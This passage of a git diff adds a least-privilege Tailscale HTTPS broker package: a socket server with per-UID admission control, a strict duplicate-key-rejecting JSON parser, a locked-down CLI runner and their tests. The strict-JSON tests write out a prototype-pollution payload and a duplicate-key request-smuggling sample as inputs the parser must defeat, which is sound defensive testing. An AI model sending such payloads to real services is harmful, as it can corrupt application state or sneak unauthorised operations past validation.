+ * entries were deleted rather than modified, and the only snapshot comparison
+ * that ran (`changedPorts` vs the intended lease ports) treated their removal as
+ * the intended effect of the operation.
+ */
+export function changedProtectedPorts(
+  before: ParsedServe,
+  after: ParsedServe,
+  protectedPorts: readonly number[],
+): number[] {
+  return [...new Set(protectedPorts)]
+    .filter((port) => entryDigest(before.entries.get(port)) !== entryDigest(after.entries.get(port)))
+    .sort((a, b) => a - b);
+}
+
+/** Ports whose entry digest differs between two snapshots. */
+export function changedPorts(before: ParsedServe, after: ParsedServe): number[] {
+  const ports = new Set<number>([...before.entries.keys(), ...after.entries.keys()]);
+  const changed: number[] = [];
+  for (const port of ports) {
+    if (entryDigest(before.entries.get(port)) !== entryDigest(after.entries.get(port))) {
+      changed.push(port);
+    }
+  }
+  return changed.sort((a, b) => a - b);
+}
diff --git a/packages/tailscale-https-broker/src/socket-server.test.ts b/packages/tailscale-https-broker/src/socket-server.test.ts
new file mode 100644
index 00000000000..e4ff32e6b90
--- /dev/null
+++ b/packages/tailscale-https-broker/src/socket-server.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { ClientAdmissionController } from "./socket-server.js";
+
+function admission(overrides: Partial<ConstructorParameters<typeof ClientAdmissionController>[0]> = {}) {
+  return new ClientAdmissionController({
+    maxClients: 32,
+    maxClientsPerUid: 8,
+    serviceUid: 999,
+    reservedServiceClients: 4,
+    ...overrides,
+  });
+}
+
+describe("ClientAdmissionController", () => {
+  it("bounds one non-service peer by UID even when it opens 40 connections", () => {
+    const controller = admission();
+    const admitted = Array.from({ length: 40 }, () => controller.tryAcquire(1000));
+
+    expect(admitted.filter(Boolean)).toHaveLength(8);
+    expect(admitted.slice(8)).toEqual(Array(32).fill(false));
+    expect(controller.tryAcquire(999)).toBe(true);
+  });
+
+  it("reserves global headroom for the Paperclip service UID", () => {
+    const controller = admission({ maxClients: 6, maxClientsPerUid: 3, reservedServiceClients: 2 });
+
+    expect(controller.tryAcquire(1000)).toBe(true);
+    expect(controller.tryAcquire(1000)).toBe(true);
+    expect(controller.tryAcquire(1001)).toBe(true);
+    expect(controller.tryAcquire(1001)).toBe(true);
+    expect(controller.tryAcquire(1002)).toBe(false);
+
+    expect(controller.tryAcquire(999)).toBe(true);
+    expect(controller.tryAcquire(999)).toBe(true);
+    expect(controller.tryAcquire(999)).toBe(false);
+  });
+
+  it("returns capacity to the same UID when a socket finishes", () => {
+    const controller = admission({ maxClients: 3, maxClientsPerUid: 1, reservedServiceClients: 1 });
+
+    expect(controller.tryAcquire(1000)).toBe(true);
+    expect(controller.tryAcquire(1000)).toBe(false);
+    controller.release(1000);
+    expect(controller.tryAcquire(1000)).toBe(true);
+  });
+
+  it("rejects quota configurations that would disable a bound or reservation", () => {
+    expect(() => admission({ maxClientsPerUid: 0 })).toThrow(/maxClientsPerUid/);
+    expect(() => admission({ maxClients: 8, maxClientsPerUid: 9 })).toThrow(/must not exceed/);
+    expect(() => admission({ maxClients: 8, reservedServiceClients: 8 })).toThrow(/less than/);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/socket-server.ts b/packages/tailscale-https-broker/src/socket-server.ts
new file mode 100644
index 00000000000..c287205b3da
--- /dev/null
+++ b/packages/tailscale-https-broker/src/socket-server.ts
@@ -0,0 +1,218 @@
+/**
+ * Unix-socket transport for the broker. Enforces the resource-consumption and
+ * protocol controls from PAP-17050 verdict requirement #5: length-prefixed
+ * frames with a hard byte cap, per-connection read/write/idle deadlines, a
+ * maximum concurrent-client bound, a per-UID client bound, reserved capacity
+ * for the Paperclip service UID, and bounded single-frame responses. All
+ * security decisions are delegated to the tested `BrokerCore`; this layer
+ * frames bytes, resolves peer identity, and bounds transport resource usage.
+ */
+import { createServer, type Server, type Socket } from "node:net";
+import { chmodSync, existsSync, unlinkSync } from "node:fs";
+import type { BrokerCore } from "./broker-core.js";
+import { ProtocolError, decodeRequest, MAX_REQUEST_BYTES } from "./protocol.js";
+import type { PeerCredentials } from "./types.js";
+
+const LENGTH_PREFIX_BYTES = 4;
+const MAX_RESPONSE_BYTES = 16 * 1024;
+const DEFAULT_MAX_CLIENTS = 32;
+const DEFAULT_MAX_CLIENTS_PER_UID = 8;
+const DEFAULT_RESERVED_SERVICE_CLIENTS = 4;
+
+export interface SocketServerConfig {
+  socketPath: string;
+  core: BrokerCore;
+  resolvePeer: (socket: Socket) => PeerCredentials;
+  serviceUid: number;
+  maxClients?: number;
+  maxClientsPerUid?: number;
+  reservedServiceClients?: number;
+  connectionDeadlineMs?: number;
+}
+
+export interface ClientAdmissionConfig {
+  maxClients: number;
+  maxClientsPerUid: number;
+  serviceUid: number;
+  reservedServiceClients: number;
+}
+
+/**
+ * Tracks admitted sockets by resolved UID. Non-service peers cannot consume
+ * the service reservation, and no UID can monopolize the global pool.
+ */
+export class ClientAdmissionController {
+  private active = 0;
+  private readonly activeByUid = new Map<number, number>();
+
+  constructor(private readonly config: ClientAdmissionConfig) {
+    assertPositiveInteger(config.maxClients, "maxClients");
+    assertPositiveInteger(config.maxClientsPerUid, "maxClientsPerUid");
+    assertNonNegativeInteger(config.serviceUid, "serviceUid");
+    assertNonNegativeInteger(config.reservedServiceClients, "reservedServiceClients");
+    if (config.maxClientsPerUid > config.maxClients) {
+      throw new Error("maxClientsPerUid must not exceed maxClients");
+    }
+    if (config.reservedServiceClients >= config.maxClients) {
+      throw new Error("reservedServiceClients must be less than maxClients");
+    }
+  }
+
+  tryAcquire(uid: number): boolean {
+    if (!Number.isInteger(uid) || uid < 0) return false;
+    const activeForUid = this.activeByUid.get(uid) ?? 0;
+    if (activeForUid >= this.config.maxClientsPerUid || this.active >= this.config.maxClients) {
+      return false;
+    }
+    const nonServiceLimit = this.config.maxClients - this.config.reservedServiceClients;
+    if (uid !== this.config.serviceUid && this.active >= nonServiceLimit) {
+      return false;
+    }
+    this.active += 1;
+    this.activeByUid.set(uid, activeForUid + 1);
+    return true;
+  }
+
+  release(uid: number): void {
+    const activeForUid = this.activeByUid.get(uid) ?? 0;
+    if (activeForUid <= 0) return;
+    this.active -= 1;
+    if (activeForUid === 1) {
+      this.activeByUid.delete(uid);
+    } else {
+      this.activeByUid.set(uid, activeForUid - 1);
+    }
+  }
+}
+
+export function startSocketServer(config: SocketServerConfig): Server {
+  const maxClients = config.maxClients ?? DEFAULT_MAX_CLIENTS;
+  const admission = new ClientAdmissionController({
+    maxClients,
+    maxClientsPerUid: config.maxClientsPerUid ?? Math.min(DEFAULT_MAX_CLIENTS_PER_UID, maxClients),
+    serviceUid: config.serviceUid,
+    reservedServiceClients:
+      config.reservedServiceClients ?? Math.min(DEFAULT_RESERVED_SERVICE_CLIENTS, maxClients - 1),
+  });
+  const deadlineMs = config.connectionDeadlineMs ?? 5_000;
+
+  if (existsSync(config.socketPath)) {
+    unlinkSync(config.socketPath);
+  }
+
+  const server = createServer((socket) => {
+    let peer: PeerCredentials;
+    try {
+      peer = config.resolvePeer(socket);
+    } catch {
+      socket.destroy();
+      return;
+    }
+    if (!admission.tryAcquire(peer.uid)) {
+      socket.destroy();
+      return;
+    }
+
+    let expected = -1;
+    const chunks: Buffer[] = [];
+    let received = 0;
+    let done = false;
+    let released = false;
+
+    const timer = setTimeout(() => socket.destroy(), deadlineMs);
+    timer.unref?.();
+
+    const release = (): void => {
+      if (released) return;
+      released = true;
+      clearTimeout(timer);
+      admission.release(peer.uid);
+    };
+
+    // Keep the admission slot until the kernel reports the socket closed. An
+    // error can precede `close`, so releasing here would briefly undercount
+    // live descriptors during an error storm.
+    socket.on("error", () => socket.destroy());
+    socket.on("close", release);
+
+    socket.on("data", (chunk: Buffer) => {
+      if (done) return;
+      received += chunk.byteLength;
+      if (received > LENGTH_PREFIX_BYTES + MAX_REQUEST_BYTES) {
+        socket.destroy();
+        return;
+      }
+      chunks.push(chunk);
+      const buf = Buffer.concat(chunks);
+      if (expected < 0) {
+        if (buf.byteLength < LENGTH_PREFIX_BYTES) return;
+        expected = buf.readUInt32BE(0);
+        if (expected > MAX_REQUEST_BYTES) {
+          socket.destroy();
+          return;
+        }
+      }
+      if (buf.byteLength < LENGTH_PREFIX_BYTES + expected) return;
+      const body = buf.subarray(LENGTH_PREFIX_BYTES, LENGTH_PREFIX_BYTES + expected);
+      void handleFrame(body);
+    });
+
+    const handleFrame = async (body: Buffer): Promise<void> => {
+      // Claim the connection before awaiting BrokerCore so trailing data cannot
+      // dispatch the same frame more than once.
+      done = true;
+      let response: unknown;
+      try {
+        const request = decodeRequest(body);
+        response = await config.core.handle(request, peer);
+      } catch (error) {
+        response =
+          error instanceof ProtocolError
+            ? { ok: false, requestId: error.requestId, code: error.code, message: error.code }
+            : { ok: false, requestId: null, code: "malformed_request", message: "malformed_request" };
+      }
+      writeResponse(socket, response);
+    };
+  });
+
+  server.listen(config.socketPath, () => {
+    // Socket file itself is restricted to the dedicated group; the parent
+    // directory ownership/mode is enforced by the installer.
+    try {
+      chmodSync(config.socketPath, 0o660);
+    } catch {
+      /* best effort; installer verifies */
+    }
+  });
+
+  server.maxConnections = maxClients;
+  return server;
+}
+
+function assertPositiveInteger(value: number, name: string): void {
+  if (!Number.isInteger(value) || value <= 0) {
+    throw new Error(`${name} must be a positive integer`);
+  }
+}
+
+function assertNonNegativeInteger(value: number, name: string): void {
+  if (!Number.isInteger(value) || value < 0) {
+    throw new Error(`${name} must be a non-negative integer`);
+  }
+}
+
+function writeResponse(socket: Socket, response: unknown): void {
+  let json = JSON.stringify(response);
+  if (Buffer.byteLength(json, "utf8") > MAX_RESPONSE_BYTES) {
+    json = JSON.stringify({ ok: false, requestId: null, code: "internal_error", message: "internal_error" });
+  }
+  const body = Buffer.from(json, "utf8");
+  const frame = Buffer.allocUnsafe(LENGTH_PREFIX_BYTES + body.byteLength);
+  frame.writeUInt32BE(body.byteLength, 0);
+  body.copy(frame, LENGTH_PREFIX_BYTES);
+  try {
+    socket.end(frame);
+  } catch {
+    socket.destroy();
+  }
+}
diff --git a/packages/tailscale-https-broker/src/strict-json.test.ts b/packages/tailscale-https-broker/src/strict-json.test.ts
new file mode 100644
index 00000000000..b70e0b21c6e
--- /dev/null
+++ b/packages/tailscale-https-broker/src/strict-json.test.ts
@@ -0,0 +1,39 @@
+import { describe, expect, it } from "vitest";
+import { parseJsonNoDuplicateKeys } from "./strict-json.js";
+
+describe("parseJsonNoDuplicateKeys", () => {
+  it("parses ordinary JSON", () => {
+    expect(parseJsonNoDuplicateKeys('{"a":1,"b":[true,null,"x"]}')).toEqual({
+      a: 1,
+      b: [true, null, "x"],
+    });
+  });
+
+  it("rejects duplicate keys at the top level", () => {
+    expect(() => parseJsonNoDuplicateKeys('{"op":"list","op":"expose"}')).toThrow(/duplicate/);
+  });
+
+  it("rejects duplicate keys nested in objects", () => {
+    expect(() =>
+      parseJsonNoDuplicateKeys('{"a":{"port":1,"port":2}}'),
+    ).toThrow(/duplicate/);
+  });
+
+  it("does not pollute the prototype via __proto__", () => {
+    const value = parseJsonNoDuplicateKeys('{"__proto__":{"polluted":true}}') as Record<
+      string,
+      unknown
+    >;
+    expect(({} as Record<string, unknown>).polluted).toBeUndefined();
+    expect(Object.prototype.hasOwnProperty.call(value, "__proto__")).toBe(true);
+  });
+
+  it("rejects trailing content and control characters in strings", () => {
+    expect(() => parseJsonNoDuplicateKeys('{"a":1} extra')).toThrow();
+    expect(() => parseJsonNoDuplicateKeys('{"a":"\n"}')).toThrow();
+  });
+
+  it("rejects non-canonical numbers", () => {
+    expect(() => parseJsonNoDuplicateKeys("01")).toThrow();
+  });
+});
diff --git a/packages/tailscale-https-broker/src/strict-json.ts b/packages/tailscale-https-broker/src/strict-json.ts
new file mode 100644
index 00000000000..2fb78dc8375
--- /dev/null
+++ b/packages/tailscale-https-broker/src/strict-json.ts
@@ -0,0 +1,194 @@
+/**
+ * Minimal strict JSON parser that rejects duplicate object keys. `JSON.parse`
+ * silently keeps the last value for a duplicated key, which the threat model
+ * treats as request smuggling (PAP-17050 verdict requirements #4/#5). This
+ * recursive-descent parser throws on any duplicate key at any depth.
+ *
+ * It is intentionally small and only used for the broker's tiny, length-bounded
+ * request frames — not a general-purpose JSON library.
+ */
+
+export function parseJsonNoDuplicateKeys(text: string): unknown {
+  const parser = new StrictParser(text);
+  const value = parser.parseValue();
+  parser.skipWhitespace();
+  if (!parser.atEnd()) {
+    throw new SyntaxError("unexpected trailing content after JSON value");
+  }
+  return value;
+}
+
+class StrictParser {
+  private pos = 0;
+  constructor(private readonly src: string) {}
+
+  atEnd(): boolean {
+    return this.pos >= this.src.length;
+  }
+
+  skipWhitespace(): void {
+    while (this.pos < this.src.length) {
+      const ch = this.src[this.pos];
+      if (ch === " " || ch === "\t" || ch === "\n" || ch === "\r") {
+        this.pos += 1;
+      } else {
+        break;
+      }
+    }
+  }
+
+  parseValue(): unknown {
+    this.skipWhitespace();
+    if (this.atEnd()) throw new SyntaxError("unexpected end of input");
+    const ch = this.src[this.pos];
+    switch (ch) {
+      case "{":
+        return this.parseObject();
+      case "[":
+        return this.parseArray();
+      case '"':
+        return this.parseString();
+      case "t":
+      case "f":
+        return this.parseBoolean();
+      case "n":
+        return this.parseNull();
+      default:
+        return this.parseNumber();
+    }
+  }
+
+  private parseObject(): Record<string, unknown> {
+    this.expect("{");
+    const obj: Record<string, unknown> = {};
+    const seen = new Set<string>();
+    this.skipWhitespace();
+    if (this.peek() === "}") {
+      this.pos += 1;
+      return obj;
+    }
+    for (;;) {
+      this.skipWhitespace();
+      if (this.peek() !== '"') throw new SyntaxError("expected object key string");
+      const key = this.parseString();
+      if (seen.has(key)) {
+        throw new SyntaxError(`duplicate object key: ${JSON.stringify(key)}`);
+      }
+      seen.add(key);
+      this.skipWhitespace();
+      this.expect(":");
+      const value = this.parseValue();
+      // Use defineProperty so a "__proto__" key cannot poison the prototype.
+      Object.defineProperty(obj, key, {
+        value,
+        enumerable: true,
+        writable: true,
+        configurable: true,
+      });
+      this.skipWhitespace();
+      const next = this.next();
+      if (next === "}") return obj;
+      if (next !== ",") throw new SyntaxError("expected , or } in object");
+    }
+  }
+
+  private parseArray(): unknown[] {
+    this.expect("[");
+    const arr: unknown[] = [];
+    this.skipWhitespace();
+    if (this.peek() === "]") {
+      this.pos += 1;
+      return arr;
+    }
+    for (;;) {
+      arr.push(this.parseValue());
+      this.skipWhitespace();
+      const next = this.next();
+      if (next === "]") return arr;
+      if (next !== ",") throw new SyntaxError("expected , or ] in array");
+    }
+  }
+
+  private parseString(): string {
+    this.expect('"');
+    let out = "";
+    for (;;) {
+      if (this.atEnd()) throw new SyntaxError("unterminated string");
+      const ch = this.src[this.pos++];
+      if (ch === '"') return out;
+      if (ch === "\\") {
+        const esc = this.src[this.pos++];
+        switch (esc) {
+          case '"': out += '"'; break;
+          case "\\": out += "\\"; break;
+          case "/": out += "/"; break;
+          case "b": out += "\b"; break;
+          case "f": out += "\f"; break;
+          case "n": out += "\n"; break;
+          case "r": out += "\r"; break;
+          case "t": out += "\t"; break;
+          case "u": {
+            const hex = this.src.slice(this.pos, this.pos + 4);
+            if (!/^[0-9a-fA-F]{4}$/.test(hex)) throw new SyntaxError("bad unicode escape");
+            out += String.fromCharCode(parseInt(hex, 16));
+            this.pos += 4;
+            break;
+          }
+          default:
+            throw new SyntaxError("bad string escape");
+        }
+      } else {
+        const code = ch.charCodeAt(0);
+        if (code < 0x20) throw new SyntaxError("unescaped control character in string");
+        out += ch;
+      }
+    }
+  }
+
+  private parseNumber(): number {
+    const start = this.pos;
+    const re = /-?(?:0|[1-9][0-9]*)(?:\.[0-9]+)?(?:[eE][+-]?[0-9]+)?/y;
+    re.lastIndex = this.pos;
+    const match = re.exec(this.src);
+    if (!match || match.index !== start) throw new SyntaxError("invalid number");
+    this.pos += match[0].length;
+    const num = Number(match[0]);
+    if (!Number.isFinite(num)) throw new SyntaxError("non-finite number");
+    return num;
+  }
+
+  private parseBoolean(): boolean {
+    if (this.src.startsWith("true", this.pos)) {
+      this.pos += 4;
+      return true;
+    }
+    if (this.src.startsWith("false", this.pos)) {
+      this.pos += 5;
+      return false;
+    }
+    throw new SyntaxError("invalid literal");
+  }
+
+  private parseNull(): null {
+    if (this.src.startsWith("null", this.pos)) {
+      this.pos += 4;
+      return null;
+    }
+    throw new SyntaxError("invalid literal");
+  }
+
+  private peek(): string {
+    return this.src[this.pos];
+  }
+
+  private next(): string {
+    return this.src[this.pos++];
+  }
+
+  private expect(ch: string): void {
+    if (this.src[this.pos] !== ch) {
+      throw new SyntaxError(`expected '${ch}'`);
+    }
+    this.pos += 1;
+  }
+}
diff --git a/packages/tailscale-https-broker/src/tailscale-cli.test.ts b/packages/tailscale-https-broker/src/tailscale-cli.test.ts
new file mode 100644
index 00000000000..8d9a66fdf1f
--- /dev/null
+++ b/packages/tailscale-https-broker/src/tailscale-cli.test.ts
@@ -0,0 +1,39 @@
+import { describe, expect, it } from "vitest";
+import { isSupportedTailscaleVersion, parseTailscaleVersion } from "./tailscale-cli.js";
+
+describe("parseTailscaleVersion", () => {
+  it("parses the numeric major.minor prefix of CLI output", () => {
+    expect(parseTailscaleVersion("1.102.2\n  tailscale commit: abc\n")).toEqual({ major: 1, minor: 102 });
+    expect(parseTailscaleVersion("  1.80.3")).toEqual({ major: 1, minor: 80 });
+  });
+
+  it("returns null for malformed output", () => {
+    expect(parseTailscaleVersion("")).toBeNull();
+    expect(parseTailscaleVersion("garbage")).toBeNull();
+    expect(parseTailscaleVersion("v1.80.1")).toBeNull();
+    expect(parseTailscaleVersion("1")).toBeNull();
+    expect(parseTailscaleVersion("tailscale 1.80")).toBeNull();
+  });
+});
+
+describe("isSupportedTailscaleVersion", () => {
+  it("accepts the minimum version and anything newer", () => {
+    expect(isSupportedTailscaleVersion("1.80.0")).toBe(true);
+    expect(isSupportedTailscaleVersion("1.84.1")).toBe(true);
+    // Numeric, not lexicographic: "1.102" < "1.80" as strings.
+    expect(isSupportedTailscaleVersion("1.102.2\n  tailscale commit: abc\n")).toBe(true);
+    expect(isSupportedTailscaleVersion("2.0.0")).toBe(true);
+  });
+
+  it("rejects versions below the minimum", () => {
+    expect(isSupportedTailscaleVersion("1.78")).toBe(false);
+    expect(isSupportedTailscaleVersion("1.79.9")).toBe(false);
+    expect(isSupportedTailscaleVersion("0.99.0")).toBe(false);
+  });
+
+  it("rejects malformed version output", () => {
+    expect(isSupportedTailscaleVersion("")).toBe(false);
+    expect(isSupportedTailscaleVersion("garbage")).toBe(false);
+    expect(isSupportedTailscaleVersion("v1.102.2")).toBe(false);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/tailscale-cli.ts b/packages/tailscale-https-broker/src/tailscale-cli.ts
new file mode 100644
index 00000000000..228516f00ea
--- /dev/null
+++ b/packages/tailscale-https-broker/src/tailscale-cli.ts
@@ -0,0 +1,57 @@
+/**
+ * Real Tailscale CLI runner: direct spawn with shell:false, absolute binary,
+ * minimal environment, closed inherited fds, bounded output, and a hard
+ * timeout+kill (PAP-17050 verdict requirement #4). Used by `main.ts` to build
+ * the BrokerCore `runTailscale` dependency.
+ */
+import { spawnSync } from "node:child_process";
+import type { CliResult } from "./broker-core.js";
+
+const MAX_OUTPUT_BYTES = 256 * 1024;
+const DEFAULT_TIMEOUT_MS = 10_000;
+
+/**
+ * Minimum Tailscale CLI version the broker accepts. Serve subcommand syntax and
+ * JSON status output are stable from this release onward, so newer releases are
+ * accepted by numeric comparison rather than a pinned allowlist.
+ */
+export const MIN_TAILSCALE_VERSION = { major: 1, minor: 80 } as const;
+
+export function createTailscaleRunner(options: { timeoutMs?: number } = {}) {
+  const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
+  return (argv: string[]): CliResult => {
+    const [bin, ...args] = argv;
+    const result = spawnSync(bin, args, {
+      shell: false,
+      windowsHide: true,
+      timeout: timeoutMs,
+      maxBuffer: MAX_OUTPUT_BYTES,
+      stdio: ["ignore", "pipe", "pipe"],
+      env: {
+        PATH: "/usr/sbin:/usr/bin:/sbin:/bin",
+        HOME: "/nonexistent",
+      },
+      cwd: "/",
+    });
+    const timedOut = result.error !== undefined && (result.error as NodeJS.ErrnoException).code === "ETIMEDOUT";
+    return {
+      code: typeof result.status === "number" ? result.status : timedOut ? 124 : 1,
+      stdout: (result.stdout ?? "").toString("utf8").slice(0, MAX_OUTPUT_BYTES),
+      stderr: (result.stderr ?? "").toString("utf8").slice(0, MAX_OUTPUT_BYTES),
+      timedOut,
+    };
+  };
+}
+
+/** Parse the numeric `major.minor` prefix of `tailscale version` output. */
+export function parseTailscaleVersion(versionOutput: string): { major: number; minor: number } | null {
+  const match = /^\s*(\d+)\.(\d+)/.exec(versionOutput);
+  return match ? { major: Number(match[1]), minor: Number(match[2]) } : null;
+}
+
+export function isSupportedTailscaleVersion(versionOutput: string): boolean {
+  const version = parseTailscaleVersion(versionOutput);
+  if (version === null) return false;
+  if (version.major !== MIN_TAILSCALE_VERSION.major) return version.major > MIN_TAILSCALE_VERSION.major;
+  return version.minor >= MIN_TAILSCALE_VERSION.minor;
+}
diff --git a/packages/tailscale-https-broker/src/types.ts b/packages/tailscale-https-broker/src/types.ts
new file mode 100644
index 00000000000..9a22e3da4de
--- /dev/null
+++ b/packages/tailscale-https-broker/src/types.ts
@@ -0,0 +1,215 @@
+/**
+ * Wire and domain types for the least-privilege Tailscale HTTPS host broker.
+ *
+ * The broker's only capability is adding and removing Paperclip-owned,
+ * same-number HTTPS-to-loopback listeners. It never gains general Tailscale
+ * administration. See PAP-17049 (plan) and PAP-17050 (threat-model verdict).
+ *
+ * SECURITY: every value that crosses the socket is untrusted. The Paperclip
+ * caller, CLI output, Serve state, the registry, and listener metadata are all
+ * treated as untrusted inputs.
+ */
+
+/** Supported broker protocol version. Requests on other versions are rejected. */
+export const BROKER_PROTOCOL_VERSION = 1;
+
+/** The protected primary route that must never change: `:443` -> loopback app. */
+export const PROTECTED_PRIMARY_PORT = 443;
+export const PROTECTED_PRIMARY_TARGET = "http://127.0.0.1:3100";
+
+/**
+ * Operator-declared ports the broker must never create, remove, or reclaim,
+ * beyond the primary `:443` route (PAP-17285).
+ *
+ * WHY THIS EXISTS. The pre-existing "unknown/manual entries are never modified"
+ * invariant is provenance-blind: it only protects entries the broker has no
+ * lease for. It could not protect `42000/52000`, because the broker had itself
+ * created them for a since-retired canary lane, so its registry still called
+ * them owned. Operators had meanwhile reclassified those same ports as
+ * must-preserve by observing `tailscale serve status` and failing to attribute
+ * them to any live lane. Both views were internally consistent and they
+ * disagreed, so a fully authorized, shape-valid, primary-preserving removal
+ * destroyed a mapping that had been declared load-bearing — and no guard could
+ * fire, because by every automated criterion it was healthy orphan reclamation.
+ *
+ * A protected port is therefore an *operator* assertion that outranks the
+ * broker's own ownership record. It is the only machine-checkable way to make
+ * "this mapping survives managed lane lifecycle" true rather than hoped-for.
+ * Enforcement is fail-closed and defence-in-depth: refused during argv
+ * construction, denied in reserve/expose/remove, excluded from the allocatable
+ * allowlist, and asserted byte-unchanged across every before/after snapshot.
+ */
+export const PROTECTED_PRIMARY_PORTS: readonly number[] = [PROTECTED_PRIMARY_PORT];
+
+export type BrokerOp = "reserve" | "expose" | "remove" | "list";
+
+/** Peer credentials obtained from the OS for an accepted socket connection. */
+export interface PeerCredentials {
+  uid: number;
+  gid: number;
+  pid: number;
+}
+
+/** A single owned HTTPS-to-loopback listener the broker manages. */
+export interface OwnedListener {
+  purpose: "app" | "vite_hmr";
+  /** Public HTTPS port == target loopback port (same-number invariant). */
+  port: number;
+}
+
+/** Reserve an app/HMR pair before the managed backend starts listening. */
+export interface ReserveRequest {
+  op: "reserve";
+  requestId: string;
+  runtimeId: string;
+  listeners: OwnedListener[];
+}
+
+/** Expose the listeners bound to a broker-issued reservation handle. */
+export interface ExposeRequest {
+  op: "expose";
+  requestId: string;
+  runtimeId: string;
+  handle: string;
+}
+
+/** A remove request body. Requires a prior expose lease handle. */
+export interface RemoveRequest {
+  op: "remove";
+  requestId: string;
+  runtimeId: string;
+  /** Unguessable handle returned by `expose`; binds ownership. */
+  handle: string;
+}
+
+/** A list request body. Scoped to the caller; never returns lease handles. */
+export interface ListRequest {
+  op: "list";
+  requestId: string;
+}
+
+export type BrokerRequest = ReserveRequest | ExposeRequest | RemoveRequest | ListRequest;
+
+export interface ReserveResponseOk {
+  ok: true;
+  op: "reserve";
+  requestId: string;
+  /** Unguessable handle bound to peer, runtime, ports, and generation. */
+  handle: string;
+  reservedPorts: number[];
+}
+
+export interface ExposeResponseOk {
+  ok: true;
+  op: "expose";
+  requestId: string;
+  /** Lease handle required for a later `remove`. Never logged. */
+  handle: string;
+  publicPorts: number[];
+}
+
+export interface RemoveResponseOk {
+  ok: true;
+  op: "remove";
+  requestId: string;
+  removedPorts: number[];
+}
+
+export interface ListResponseOk {
+  ok: true;
+  op: "list";
+  requestId: string;
+  /** Caller-owned listeners only; no handles, no manual/unknown Serve state. */
+  listeners: Array<{ runtimeId: string; port: number; purpose: OwnedListener["purpose"] }>;
+}
+
+export interface BrokerErrorResponse {
+  ok: false;
+  requestId: string | null;
+  /** Stable machine code; never leaks command lines, paths, or secrets. */
+  code: BrokerErrorCode;
+  message: string;
+}
+
+export type BrokerResponse =
+  | ReserveResponseOk
+  | ExposeResponseOk
+  | RemoveResponseOk
+  | ListResponseOk
+  | BrokerErrorResponse;
+
+export type BrokerErrorCode =
+  | "unsupported_version"
+  | "malformed_request"
+  | "unknown_operation"
+  | "unauthorized_peer"
+  | "invalid_runtime_id"
+  | "invalid_port"
+  | "port_not_allowlisted"
+  | "listener_not_owned"
+  // The three pre-flight listener predicates are reported separately. All of
+  // them still deny, but collapsing them into one code made the deployed
+  // failure undiagnosable: the discriminating text only ever reaches the
+  // root-owned audit file, so the calling account cannot tell an absent
+  // listener from a genuine off-loopback or wrong-owner violation. Naming the
+  // failed predicate leaks nothing an attacker could not learn by probing the
+  // port they already asked us to expose.
+  | "listener_absent"
+  | "listener_not_loopback"
+  | "listener_ownership_mismatch"
+  // The port carries a listener the broker cannot name (no socket identity), so
+  // it cannot prove the socket it publishes is the socket it verified. Present
+  // but unattributable is refused rather than treated as permission.
+  | "listener_unattributable"
+  // The verified socket was replaced between verification and publication. The
+  // three predicates above cannot catch this on their own, because a different
+  // process under the same managed-runtime UID satisfies all of them.
+  | "listener_substituted"
+  | "manual_mapping_present"
+  // An operator-declared protected port was requested, or a protected entry
+  // changed across a mutation. Distinct from `manual_mapping_present` (which is
+  // about an *unleased* entry) because this denies even when the broker's own
+  // registry says the port is ours to reclaim (PAP-17285).
+  | "protected_port"
+  | "protected_entry_violation"
+  | "reservation_conflict"
+  | "reservation_expired"
+  | "primary_route_violation"
+  | "invalid_handle"
+  | "serve_parse_error"
+  | "cli_error"
+  | "cli_timeout"
+  | "unexpected_serve_diff"
+  | "quarantined"
+  | "rate_limited"
+  | "too_many_clients"
+  | "internal_error";
+
+/** A registry lease record persisted atomically under root ownership. */
+export interface LeaseRecord {
+  handle: string;
+  runtimeId: string;
+  /** Peer identity bound at expose time. */
+  peerUid: number;
+  peerGid: number;
+  ports: number[];
+  purposes: OwnedListener["purpose"][];
+  /** Reserved before bind; exposed only after listener ownership is verified. */
+  state: "reserved" | "exposed";
+  /** Monotonic generation to defeat ABA remove/re-expose confusion. */
+  generation: number;
+  createdAtIso: string;
+  /** Bounds leaked reservations when a caller crashes before backend start. */
+  expiresAtIso: string | null;
+}
+
+/** Registry persisted to a root-owned 0600 file via temp+fsync+rename. */
+export interface BrokerRegistry {
+  version: 1;
+  /** Node/boot identity; a change forces quarantine + operator reconciliation. */
+  nodeIdentity: string;
+  generationCounter: number;
+  leases: LeaseRecord[];
+  /** Ports quarantined after ambiguous/failed cleanup; never reused/auto-freed. */
+  quarantinedPorts: number[];
+}
diff --git a/packages/tailscale-https-broker/tsconfig.json b/packages/tailscale-https-broker/tsconfig.json
new file mode 100644
index 00000000000..5a24989cd30
--- /dev/null
+++ b/packages/tailscale-https-broker/tsconfig.json
@@ -0,0 +1,8 @@
+{
+  "extends": "../../tsconfig.base.json",
+  "compilerOptions": {
+    "outDir": "dist",
+    "rootDir": "src"
+  },
+  "include": ["src"]
+}
diff --git a/packages/tailscale-https-broker/vitest.config.ts b/packages/tailscale-https-broker/vitest.config.ts
new file mode 100644
index 00000000000..d4036c2516e
--- /dev/null
+++ b/packages/tailscale-https-broker/vitest.config.ts
@@ -0,0 +1,13 @@
+import { fileURLToPath } from "node:url";
+import { dirname } from "node:path";
+import { defineConfig } from "vitest/config";
+
+const root = dirname(fileURLToPath(import.meta.url));
+
+export default defineConfig({
+  root,
+  test: {
+    include: ["src/**/*.test.ts"],
+    environment: "node",
+  },
+});
diff --git a/packages/teams-catalog/package.json b/packages/teams-catalog/package.json
index 1b9a7d936b4..7933556b09d 100644
--- a/packages/teams-catalog/package.json
+++ b/packages/teams-catalog/package.json
@@ -47,6 +47,9 @@
     "validate": "node ../../cli/node_modules/tsx/dist/cli.mjs scripts/validate-catalog.ts"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1"
+    "@types/node": "^24.0.0"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index a6441c9b960..d01c7db971d 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -6,8 +6,8 @@ settings:
 
 overrides:
   rollup: '>=4.59.0'
-  react: ^19.2.7
-  react-dom: ^19.2.7
+  react: ^19.2.8
+  react-dom: ^19.2.8
   lexical: 0.49.0
   '@lexical/clipboard': 0.49.0
   '@lexical/link': 0.49.0
@@ -32,8 +32,8 @@ importers:
   .:
     devDependencies:
       '@playwright/test':
-        specifier: ^1.61.1
